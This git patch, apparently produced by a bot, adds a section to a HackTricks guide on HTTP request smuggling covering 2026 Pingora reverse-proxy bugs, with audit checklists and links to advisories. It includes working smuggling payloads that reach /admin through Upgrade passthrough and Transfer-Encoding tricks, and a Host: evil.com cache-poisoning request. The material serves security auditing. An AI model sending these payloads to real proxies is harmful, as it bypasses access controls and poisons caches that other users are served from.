From badbe8a72cff719d2eec90c2fb37499b32b7558e Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 28 Mar 2026 12:57:16 +0000 Subject: [PATCH] Add content from: Breaking Pingora: HTTP Request Smuggling & Cache Poisoning i... --- .../http-request-smuggling/README.md | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 015ddc3df2e..1b064282ce2 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -905,6 +905,105 @@ def handleResponse(req, interesting): table.add(req) ``` +## Reverse-proxy parsing footguns (Pingora 2026) + +Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity. + +### Premature `Upgrade` passthrough + +If a reverse proxy **switches to raw tunnel / passthrough mode as soon as it sees an `Upgrade` header**, without waiting for the backend to confirm the switch with **`101 Switching Protocols`**, you can smuggle a second request in the same TCP stream: + +```http +GET / HTTP/1.1 +Host: target.com +Upgrade: anything +Content-Length: 0 + +GET /admin HTTP/1.1 +Host: target.com +``` + +The front-end parses only the first request, then forwards the rest as raw bytes. The backend parses the appended bytes as a new request from the proxy's trusted IP. This is especially useful to: + +- Bypass proxy ACLs, WAF rules, auth checks, and rate limits. +- Reach internal-only endpoints that trust the reverse proxy IP. +- Trigger cross-user response queue poisoning on reused backend connections. + +When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`. + +### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback + +Another useful pattern is: + +1. The proxy sees that `Transfer-Encoding` is present, so it strips `Content-Length`. +2. The proxy **fails to normalize TE correctly**. +3. The proxy now has **no recognized framing** and falls back to **close-delimited request bodies** for HTTP/1.0. +4. The backend correctly understands TE and treats bytes after `0\r\n\r\n` as a new request. + +Common ways to trigger this: + +- **Comma-separated TE list not parsed**: + +```http +GET / HTTP/1.0 +Host: target.com +Connection: keep-alive +Transfer-Encoding: identity, chunked +Content-Length: 29 + +0 + +GET /admin HTTP/1.1 +X: +``` + +- **Duplicate TE headers not merged**: + +```http +POST /legit HTTP/1.0 +Host: target.com +Connection: keep-alive +Transfer-Encoding: identity +Transfer-Encoding: chunked + +0 + +GET /admin HTTP/1.1 +Host: target.com +X: +``` + +The important audit checks are: + +- Does the front-end parse the **last** TE token, as required when `chunked` is last? +- Does it use **all** `Transfer-Encoding` headers instead of just the first one? +- Can you force **HTTP/1.0** to trigger a read-until-close body mode? +- Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself. + +This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**. + +### Related cache poisoning primitive: path-only cache keys + +The same Pingora audit also exposed a dangerous reverse-proxy cache anti-pattern: deriving the cache key **only from the URI path**, while ignoring **Host**, scheme, or port. In multi-tenant or multi-vhost deployments, different hosts can then collide on the same cache entry: + +```http +GET /api/data HTTP/1.1 +Host: evil.com +``` + +```http +GET /api/data HTTP/1.1 +Host: victim.com +``` + +If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**. + +When reviewing caches, confirm that the key includes at least: + +- `Host` / virtual host identity +- scheme (`http` vs `https`) when behavior differs +- port when multiple applications share the same cache namespace + ## Tools - HTTP Hacker (Burp BApp Store) – visualize concatenation/framing and low‑level HTTP behavior @@ -932,6 +1031,10 @@ def handleResponse(req, interesting): - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) - [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) +- [https://xclow3n.github.io/post/6/](https://xclow3n.github.io/post/6/) +- [https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) +- [https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) +- [https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) {{#include ../../banners/hacktricks-training.md}}